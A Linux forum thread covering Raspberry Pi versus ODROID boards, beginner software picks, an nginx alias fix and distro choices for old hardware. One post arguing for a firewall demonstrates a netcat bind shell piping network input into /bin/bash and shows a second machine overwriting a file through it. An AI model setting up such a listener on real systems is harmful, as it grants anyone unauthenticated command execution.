General Linux Chat and Small Questions v. Year of the Linux Desktop!
4,886 replies, posted
[QUOTE=Dr. Evilcop;50725932]IIRC the Raspbian distro is 64 bit. But yeah, the RPi's non-standard CPU and GPU are the bain of my existence. Anything not officially supported takes some ugly hacks to get working, especially when it comes to GPU accelerated stuff.
I much prefer the ODROID C2 since it has a faster processor, a much better GPU (which supports 4k), twice the RAM, an MMC port for fast SSD storage, and the processor and gpu are much more generic/standard for what you see in consumer ARM computers, so it's much easier to work with. Android runs very well on the C2 without any hacky bullshit, and you can use hardware acceleration in various browsers rather than just epiphany, for example.
It also comes out to roughly the same price, maybe $5 more if you need a wifi adapter for it. The only real problem is it doesn't have the same level of community as the RPi, but I don't think that's a huge issue for what a lot of people buy RPi's for (running emulators, small server tasks like an FTP, being a media center, etc).[/QUOTE]
Yeah, I noticed the C2 on the alarm wiki. A lot more people just seem to choose it among those who go outside of raspbian. Another issue I have with the pi is that the wayland driver is seemingly abandoned, I could find it, but it doesn't work. If I keep into this stuff I'll probably wind up with an c2.
[QUOTE=thelurker1234;50723827]i got my raspberry pi 3, and it's pretty neat. But the pi 3 is a little weird. It's a 64 bit ARMV8 buuuuuut every distro you download is still 32 bit, because apparently broadcom are kind of cunts? Though, it's still a pretty cool little thing. I got a case, charger, 32GB ld microsd, and heatsinks with it too. 64 bit should be available eventually probably which'll be cool.
I think I can get the void musl libc version running on it though, and then I'll be happy, with wayland too! For mainstream distros I think it's mostly debian/ubuntu that have pi images and I can't really stand apt (don't lynch me.) I could also get arch I think.[/QUOTE]
I would have thought there is little if any measurable practical benefit to running a 64 bit OS on a raspberry pi, unless I'm missing something.
[QUOTE=Jallen;50728517]I would have thought there is little if any measurable practical benefit to running a 64 bit OS on a raspberry pi, unless I'm missing something.[/QUOTE]
[URL="http://www.cnx-software.com/2016/03/01/64-bit-arm-aarch64-instructions-boost-performance-by-15-to-30-compared-to-32-bit-arm-aarch32-instructions/"]Apparently it's pretty significant.[/URL]
Installed my first Linux distro onto an old laptop (MSI A6200 or MS-1681), really happy at how nice and fluid everything is compared to the bloated Windows 7 that came installed on it. Any software you all would recommend, like must-haves and the like?
How do I ignore part of the URI in nginx?
[code]location /foo/ {
root /bar;
allow 1.1.1.1;
deny all;
autoindex on;
}[/code]
I want it to just serve what is in /bar but it tries to serve /bar/foo instead. Have it symlinked to another directory called foo so it works but that just feels hacky and there has to be a proper way to do it.
[QUOTE=huntingrifle;50729103]Installed my first Linux distro onto an old laptop (MSI A6200 or MS-1681), really happy at how nice and fluid everything is compared to the bloated Windows 7 that came installed on it. Any software you all would recommend, like must-haves and the like?[/QUOTE]
What desktop environment/window manager you running? A lot of it depends on that. Some software integrates with different desktops better than others, for example, KDE-focused software doesn't quite work as well in GNOME.
A couple things off of my mind would be tho:
Transmission or deluge for torrent clients, so you download other linux distros of course! Their Windows ports kind of suck but they're great here.
MPV is a pretty great video player, it just does its thing, and is highly configurable. Though it does depend on keyboard hotkeys rather than a UI, so perhaps VLC or bomi will be easier to use.
Deadbeef is a nice music player, a lot of people describe it as being a foobar replacement.
Libreoffice is an obvious thing, if you need to make documents. I will have to warn you about two things though. A lot of schools and such will require it to be typed in times new roman because they like it when papers look like shit, and you probably won't have times new roman. So you'll either have to go get it, which can be a pain, or use liberation serif which is so close only the most pedantic people will notice. Also, compatibility with word/powerpoint can be a pain. If you type up a presentation, and then open it on say a teacher's computer who runs powerpoint, it can look weird. I used to solve this by exporting as PDF, and now I solve it by using reveal.js.
Redshift is like flux, and while flux is ported to Linux, it kind of sucks.
Running Lubuntu, which comes with LXDE. So far I do have Libreoffice, heard from another friend about the issues with MS office compatibility (incidentally he was using it on Windows and didn't bother looking for student discounts on MS office).
Any specific apps I should look for to be able to share files between my Widows machine and this Linxi laptop?
If you can afford the extra ~100-200MB of RAM that XFCE uses compared to LXDE, I'd use Xubuntu instead if I were you.
Also, if you're using a low-RAM system, ZRam is a must.
Had trouble trying to install it on another old laptop, but I guess it's a good thing I still have the Xubuntu image then.
My biggest question is how can I connect my Android phone, tablet, and a Windows pc to this Xubuntu laptop and have all of the devices access the Xubuntu laptop (such as files and being able to run programs, similar to a remote desktop)?
[QUOTE=huntingrifle;50729744]Had trouble trying to install it on another old laptop, but I guess it's a good thing I still have the Xubuntu image then.
My biggest question is how can I connect my Android phone, tablet, and a Windows pc to this Xubuntu laptop and have all of the devices access the Xubuntu laptop (such as files and being able to run programs, similar to a remote desktop)?[/QUOTE]
VNC is the go-to cross-platform remote desktop application on Linux, to my knowledge. TeamViewer also runs on Linux through an official ""port"" (wine) but after the security breach a while ago you probably don't wanna use that :v:
[QUOTE=helifreak;50729428]How do I ignore part of the URI in nginx?
[code]location /foo/ {
root /bar;
allow 1.1.1.1;
deny all;
autoindex on;
}[/code]
I want it to just serve what is in /bar but it tries to serve /bar/foo instead. Have it symlinked to another directory called foo so it works but that just feels hacky and there has to be a proper way to do it.[/QUOTE]
[code]location /foo/ {
alias /bar/;
allow 1.1.1.1;
deny all;
autoindex on;
}[/code]
That should do it.
[QUOTE=deadeye536;50730880][code]location /foo/ {
alias /bar/;
allow 1.1.1.1;
deny all;
autoindex on;
}[/code]
That should do it.[/QUOTE]
Knew it would be someone obvious, thanks.
[QUOTE=Anderen2;50717591]Firewall is not there to block services running there already (Windows is an exception), it's there to ensure that no new and unwanted ones suddenly start working.
You said that the server ran a webserver, I'm assuming that this may run some kind of dynamic content? (and even if it does not then zero-days pop up all the time)
Also, I guess that you do not code-review all the software that gets installed on the server?
If one of the statements above are true, then you should use a firewall.
Say someone does something stupid on your network, and the server gets infected.
Instead of containing the infection there, attackers may get additional access simply by making the malware execute the simple line I posted earlier (Or tons of even more fun lines).
Case in point:
[code]
Personal computer
anderen2@e7440:~$ cd /tmp
anderen2@e7440:/tmp$ echo "Hello world!" > importantfile
anderen2@e7440:/tmp$ ls importantfile
importantfile
anderen2@e7440:/tmp$ cat importantfile
Hello world!
anderen2@e7440:/tmp$ nc -l 192.168.0.11 1337 | /bin/bash
^C
anderen2@e7440:/tmp$ cat importantfile
Woops
Other computer (Note that there were no questions for username/password, I simply knew the IP address and that it was vulnerable)
anderen2@proliant01:~$ nc 192.168.0.11 1337
echo "Woops" > /tmp/importantfile
[/code]
[editline]16th July 2016[/editline]
No shame in starting small, we've all been there :)[/QUOTE]
so i'm back on my chair again, so i should just restart the server now or what? 459 days uptime :pudge:
the content on it is mostly coded by me, and i don't really install anything new on it ever
the exploit needs someone on the inside though? but yeah i get what you mean. block all then allow ports which are needed?
[QUOTE=Giraffen93;50730999]the exploit needs someone on the inside though? but yeah i get what you mean. block all then allow ports which are needed?[/QUOTE]
yeah pretty much
I've been wondering, is there much of a performance difference between Ubuntu and Fedora on older hardware? Using GNOME in either case
How old are we talking about here
On really old hardware the best option would be neither. You'll want to use something like CentOS minimal or Arch and build up only what you need.
I think the only relevant solution is [URL="http://www.linuxfromscratch.org/"]LFS[/URL]. See you in a few months.
We need the middle ground. We need [I]g e n t o o[/I]
[editline].[/editline]
But really a minimal arch install would probably do you well. If you want to stick with Ubuntu, at least use XFCE (Xubuntu).
Not hideously old, from around 2008. My reason for asking is that I've never really bothered with much outside Ubuntu and derivatives, so I'm just curious if there's any meaningful difference between the two (performance wise).
I would [I]assume[/I] that Ubuntu would have a slight edge due to using older software in many cases
Nah, not really. It doesn't use much older software than fedora and in that little of a gap older=/=lighter
I'd say Xubuntu or something along those lines unless the specs are [I]really[/I] bad.
[QUOTE=Lyokanthrope;50734235]I'd say Xubuntu or something along those lines unless the specs are [I]really[/I] bad.[/QUOTE]
Xubuntu if old.
Lubuntu if [I]REALLY [/I]old or crippled.
[QUOTE=Van-man;50734345]Xubuntu if old.
Lubuntu if [I]REALLY [/I]old or crippled.[/QUOTE]
My rule of thumb is Xubuntu for 2GB RAM and a dual core or better, Lubuntu if not.
Also ZRAM is a must either way for sub-4GB systems
Alternatively there's always [url=https://manjaro.github.io]Manjaro[/url] if you want more updated software with some stability. Their XFCE release is top notch.
Is Manjaro actually more stable than Arch? I was under the impression it was just Arch with an installer, but maybe that's just Antergos. I wouldn't mind a little more stability while still getting the benefits of pacman and the arch repos and the AUR.
[QUOTE=Dr. Evilcop;50734437]Is Manjaro actually more stable than Arch? I was under the impression it was just Arch with an installer, but maybe that's just Antergos. I wouldn't mind a little more stability while still getting the benefits of pacman and the arch repos and the AUR.[/QUOTE]
They hold back packages and the like to ensure stability, kind of like Debian but less silly
[QUOTE=Lyokanthrope;50734450]They hold back packages and the like to ensure stability, kind of like Debian but less silly[/QUOTE]
Sounds good to me. I read some Reddit threads bitching about how they made a simple mistake one time years ago which apparently makes the distro unfavorable, but it just sounds like a lot of fanboy bitching to me.
I should make sure my laptop supports VT-d and wipe it, install Manjaro, then setup a Windows gaming virtual machine. I wanted to dump MATE for XFCE anyway, this is a good excuse to do it :v:
[QUOTE=Dr. Evilcop;50734475]Sounds good to me. I read some Reddit threads bitching about how they made a simple mistake one time years ago which apparently makes the distro unfavorable, but it just sounds like a lot of fanboy bitching to me.
I should make sure my laptop supports VT-d and wipe it, install Manjaro, then setup a Windows gaming virtual machine. I wanted to dump MATE for XFCE anyway, this is a good excuse to do it :v:[/QUOTE]
If i remember correct, they've made a few regarding the https for the website, or the auth key for their repo's.
Everybody makes mistakes, but those thing are something other's would have double checks in place for.
[QUOTE=Van-man;50734506]If i remember correct, they've made a few regarding the https for the website, or the auth key for their repo's.
Everybody makes mistakes, but those thing are something other's would have double checks in place for.[/QUOTE]
Their SSL key expired for their main website a while back.
Nowhere near as bad as Linux Mint's download repo getting compromised.
Sorry, you need to Log In to post a reply to this thread.